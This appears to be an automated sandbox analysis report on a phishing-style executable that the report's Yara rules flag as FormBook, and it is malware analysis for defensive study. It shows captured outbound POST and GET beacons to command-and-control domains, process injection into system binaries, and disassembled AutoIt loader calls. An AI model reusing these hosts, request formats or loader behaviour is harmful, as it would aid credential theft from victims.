rP=QSw6gR70Eiw1ymPbZQlMNkXw4XHWivyr4i/X2Q6C82cacfQMkbr09FP8AlJ5YecVVMnYL8+F2MgG1B8k9ZD1dDSISxZ+1G7BZt/8Xu9vVyK6eB/YEH8ggiB3rZKCHDL0HUzkTVeuqlOfnZ42Cl6uasln5Y/E0krc6xUanffY6e1ko1ByJM6empWz78fotHYRBKnXS2PXARkSAiXBiUbU92w=
Nov 13, 2024 09:29:08.728703022 CET	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 13 Nov 2024 08:29:08 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	59120	206.119.81.36	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:29:10.320333958 CET	10879	OUT	POST /1i1f/ HTTP/1.1 Host: www.neg21.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.neg21.top Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 10299 Referer: http://www.neg21.top/1i1f/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 72 50 3d 51 53 77 36 67 52 37 30 45 69 77 31 79 6d 50 62 5a 51 6c 4d 4e 6b 58 77 34 58 48 57 69 76 79 72 34 69 2f 58 32 51 36 43 38 32 55 61 63 75 77 4d 32 73 2f 30 79 6c 50 38 44 6c 4a 36 59 65 63 79 56 4e 44 63 4c 38 36 4b 32 4f 6f 47 30 69 30 6b 31 49 44 31 57 44 53 49 4e 42 5a 2f 78 47 36 56 5a 75 48 77 58 75 74 76 56 79 4b 36 65 41 50 59 53 6c 59 67 6d 69 42 77 6d 4a 4b 4f 52 7a 4b 72 48 55 36 47 54 56 71 59 70 55 75 66 67 36 51 32 4f 33 53 75 47 38 6c 70 36 59 2f 63 30 6b 6d 47 36 78 4a 72 6e 62 66 69 36 64 70 6b 35 52 77 53 55 50 6d 43 6b 34 2b 62 73 4d 72 43 70 6d 51 57 4b 34 2b 75 65 6c 58 2b 61 44 34 51 62 52 75 74 78 42 50 66 75 6a 49 43 4e 74 78 6b 69 56 78 48 41 66 6e 6e 5a 78 44 31 6a 74 35 30 63 42 64 48 72 67 75 77 73 67 59 71 39 36 63 67 43 69 6f 79 54 33 63 57 42 71 38 4e 4a 4a 52 69 52 78 53 69 42 79 69 71 55 4e 62 30 7a 4f 72 39 50 74 73 4c 62 68 51 46 70 53 74 33 54 62 4c 54 33 6e 64 68 54 69 39 39 4b 37 4b 32 70 55 39 4b 43 58 58 6b 37 4f 6a 6b 78 54 73 76 78 54 43 4c 67 53 63 [TRUNCATED] Data Ascii: rP=QSw6gR70Eiw1ymPbZQlMNkXw4XHWivyr4i/X2Q6C82UacuwM2s/0ylP8DlJ6YecyVNDcL86K2OoG0i0k1ID1WDSINBZ/xG6VZuHwXutvVyK6eAPYSlYgmiBwmJKORzKrHU6GTVqYpUufg6Q2O3SuG8lp6Y/c0kmG6xJrnbfi6dpk5RwSUPmCk4+bsMrCpmQWK4+uelX+aD4QbRutxBPfujICNtxkiVxHAfnnZxD1jt50cBdHrguwsgYq96cgCioyT3cWBq8NJJRiRxSiByiqUNb0zOr9PtsLbhQFpSt3TbLT3ndhTi99K7K2pU9KCXXk7OjkxTsvxTCLgSc8MYUQcqvd/Tpzz8ogbwiJKZUdgEjHvD9Ydd5hwkXtvqFg6Qbk7wyJ3BJBrbo4QcTS/xV5yjR8dZSsqeD2Hi8U6KpsWJfBOXixpfnp5sjhgBInoL3YPCnFuOU1ACzW90Lhn2yvlYRVCPTiylKnwX41zyC/+5q4nbACTq0dpgt2rFpsoRAsAZuygni7YBmCil/zbyzOMsE208KEmNo7DJXwk1eCcbjVxYUGuL8A28dayxdEj2Yc3wTrVFxDhh+pHd4PNeUVm0beT770r/qV3zF8JNr7TiUUj8YvYE6yLqMpXED+uVgr4pHFWa2UQXAl8vN64LrHVgbfAWZ81qiGpnxXHBKn/L6ayWN4XIRbSH1cGIALeQY5tOguRfDVXQrHWa9kM3svsbVZe9paOAjkCiUa3O1BaWZqW1fxir2DhYnczhvUCZbsfg/Q/TnJOdSIW9ByEIjzkRvbGUSGVYpPyC4/vojzf1Fa85+WbXKfTI1qUxC3ei7gt223A1pqfe6ZFnRJN87MiIydOlwugrEqRgt6lekhvBukRlgoAnKxmdTYUa9VRre8mUQviciPzPzzcYh2Q+8G9vUhIN128M0msEHcLFN/5wCmAiwR0EfTDMNJZXQI57lyx+n7fDa98glB8mh8SRYYeKpMJrT6i5pKeIU+I0TqcS7rI4DEQ [TRUNCATED]
Nov 13, 2024 09:29:11.276030064 CET	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 13 Nov 2024 08:29:11 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	59121	206.119.81.36	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:29:12.864058971 CET	523	OUT	GET /1i1f/?rP=dQYajm//Sx1stwXHf3xlHA3S8l/u0vyC8xP2ywW2sRY4KNcSndLgw2rkEnULaIMwbbOqPpfkjMw6pD0cpqqLVjWWADBg9XXOC9f0UMcBOgWMQTbzF2Ef3i8=&2p2h=vzYT2lDhJTZ0Ql HTTP/1.1 Host: www.neg21.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 13, 2024 09:29:13.811515093 CET	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 13 Nov 2024 08:29:13 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	59122	172.217.16.211	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:29:19.046355009 CET	801	OUT	POST /m6se/ HTTP/1.1 Host: www.digitaladpro.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.digitaladpro.shop Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 199 Referer: http://www.digitaladpro.shop/m6se/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 72 50 3d 67 72 6a 79 67 6a 42 7a 4e 65 59 41 4c 6b 31 53 70 32 36 79 42 64 58 45 46 32 6c 79 6b 67 4e 62 70 62 6c 6c 6e 6a 72 77 6b 6c 47 4f 41 65 76 46 31 6f 42 46 78 5a 61 33 66 57 38 45 74 42 4d 41 54 46 49 56 43 79 47 35 78 35 78 58 70 61 4e 59 72 6b 34 49 70 4f 47 63 58 37 67 54 54 42 6c 2f 76 68 34 56 52 6e 4b 67 42 51 73 54 47 42 58 4b 51 79 62 4a 2b 32 56 54 50 39 2b 43 78 68 73 6d 6e 76 73 32 69 45 70 6d 53 36 2f 6b 34 35 42 2f 66 61 63 77 6d 54 6f 4d 4b 6a 62 59 58 4d 4a 67 74 57 35 44 61 71 6d 70 4a 73 64 6c 4a 42 6b 6c 78 63 39 6e 78 6c 52 34 58 48 57 61 41 34 43 51 7a 67 3d 3d Data Ascii: rP=grjygjBzNeYALk1Sp26yBdXEF2lykgNbpbllnjrwklGOAevF1oBFxZa3fW8EtBMATFIVCyG5x5xXpaNYrk4IpOGcX7gTTBl/vh4VRnKgBQsTGBXKQybJ+2VTP9+Cxhsmnvs2iEpmS6/k45B/facwmToMKjbYXMJgtW5DaqmpJsdlJBklxc9nxlR4XHWaA4CQzg==
Nov 13, 2024 09:29:19.904666901 CET	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 13 Nov 2024 08:29:19 GMT Content-Type: text/html; charset=UTF-8 Server: ghs Content-Length: 1566 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Nov 13, 2024 09:29:19.904683113 CET	537	IN	Data Raw: 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d Data Ascii: oglelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 1

Target ID:	0
Start time:	03:26:13
Start date:	13/11/2024
Path:	C:\Users\user\Desktop\PO AT-5228.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PO AT-5228.exe"
Imagebase:	0xb60000
File size:	1'175'040 bytes
MD5 hash:	3DF965173D78ACBF95001CACCBEAA150
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:26:15
Start date:	13/11/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PO AT-5228.exe"
Imagebase:	0x5c0000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1781295730.0000000002CD0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1781112261.0000000000440000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1781559228.0000000005C00000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:26:17
Start date:	13/11/2024
Path:	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe"
Imagebase:	0xa80000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.3525581336.0000000005270000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	03:26:19
Start date:	13/11/2024
Path:	C:\Windows\SysWOW64\AtBroker.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\AtBroker.exe"
Imagebase:	0xde0000
File size:	68'608 bytes
MD5 hash:	D5B61959A509BDA85300781F5A829610
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.3524540674.0000000000790000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.3525547305.0000000004210000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.3524288505.00000000004E0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	03:26:31
Start date:	13/11/2024
Path:	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe"
Imagebase:	0xa80000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3527019353.0000000005710000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	03:26:48
Start date:	13/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.3%
Dynamic/Decrypted Code Coverage:	0.4%
Signature Coverage:	5.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	48

Executed Functions

Function 00B8B043 Relevance: 21.5, APIs: 14, Instructions: 537
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc106b930daf16a3889c4a298858d2560fd2d99bf37a7fbf6baa6629476e362a
Instruction ID: d126ee662214a208baa6440b7436d5b2d2ed625f81b75445ed34cb75b9628399
Opcode Fuzzy Hash: cc106b930daf16a3889c4a298858d2560fd2d99bf37a7fbf6baa6629476e362a
Instruction Fuzzy Hash: D9325F75B022188FDB24AF24DC81AE9B7F5FF46310F1841D9E40AA7A61D7709E81CF52

Function 00B63D19 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 151
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?,00000000,00000001,?,?,00B63AA3,?), ref: 00B63D45
IsDebuggerPresent.KERNEL32(?,?,?,?,00B63AA3,?), ref: 00B63D57
GetFullPathNameW.KERNEL32(00007FFF,?,?,00C21148,00C21130,?,?,?,?,00B63AA3,?), ref: 00B63DC8

Part of subcall function 00B66430: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00B63DEE,00C21148,?,?,?,?,?,00B63AA3,?), ref: 00B66471

SetCurrentDirectoryW.KERNEL32(?,?,?,00B63AA3,?), ref: 00B63E48
MessageBoxA.USER32(00000000,This is a third-party compiled AutoIt script.,00C128F4,00000010), ref: 00BD1CCE
SetCurrentDirectoryW.KERNEL32(?,00C21148,?,?,?,?,?,00B63AA3,?), ref: 00BD1D06
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,00BFDAB4,00C21148,?,?,?,?,?,00B63AA3,?), ref: 00BD1D89
ShellExecuteW.SHELL32(00000000,?,?,?,?,00B63AA3), ref: 00BD1D90

Part of subcall function 00B63E6E: GetSysColorBrush.USER32(0000000F), ref: 00B63E79
Part of subcall function 00B63E6E: LoadCursorW.USER32(00000000,00007F00), ref: 00B63E88
Part of subcall function 00B63E6E: LoadIconW.USER32(00000063), ref: 00B63E9E
Part of subcall function 00B63E6E: LoadIconW.USER32(000000A4), ref: 00B63EB0
Part of subcall function 00B63E6E: LoadIconW.USER32(000000A2), ref: 00B63EC2
Part of subcall function 00B63E6E: RegisterClassExW.USER32(?), ref: 00B63F30

Part of subcall function 00B636B8: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00B636E6
Part of subcall function 00B636B8: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00B63707
Part of subcall function 00B636B8: ShowWindow.USER32(00000000,?,?,?,?,00B63AA3,?), ref: 00B6371B
Part of subcall function 00B636B8: ShowWindow.USER32(00000000,?,?,?,?,00B63AA3,?), ref: 00B63724

Part of subcall function 00B64FFC: _memset.LIBCMT ref: 00B65022
Part of subcall function 00B64FFC: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00B650CB

Strings

runas, xrefs: 00BD1D84
This is a third-party compiled AutoIt script., xrefs: 00BD1CC8

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Window$IconLoad$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundMessageNotifyPresentRegisterShellShell__memset
String ID: This is a third-party compiled AutoIt script.$runas
API String ID: 438480954-3287110873
Opcode ID: 69239acbc4d6ef3df0bdacf81f80cb8f1d2e627744fea6f3d25bba50012f3deb
Instruction ID: b547a9a8023fddc0958caff7393bbc3ede8217c7d61b4e3bc2e85095f3e4bbe9
Opcode Fuzzy Hash: 69239acbc4d6ef3df0bdacf81f80cb8f1d2e627744fea6f3d25bba50012f3deb
Instruction Fuzzy Hash: FF51D631A04288BACF21ABB4DC41FED7BF5DF25B00F0441E5F95267192DA794A568B31

Function 00B7DDC0 Relevance: 10.7, APIs: 7, Instructions: 175
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 00B7DDEC
GetCurrentProcess.KERNEL32(00000000,00BFDC38,?,?), ref: 00B7DEAC
GetNativeSystemInfo.KERNEL32(?,00BFDC38,?,?), ref: 00B7DF01
FreeLibrary.KERNEL32(00000000,?,?), ref: 00B7DF0C
FreeLibrary.KERNEL32(00000000,?,?), ref: 00B7DF1F
GetSystemInfo.KERNEL32(?,00BFDC38,?,?), ref: 00B7DF29
GetSystemInfo.KERNEL32(?,00BFDC38,?,?), ref: 00B7DF35

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
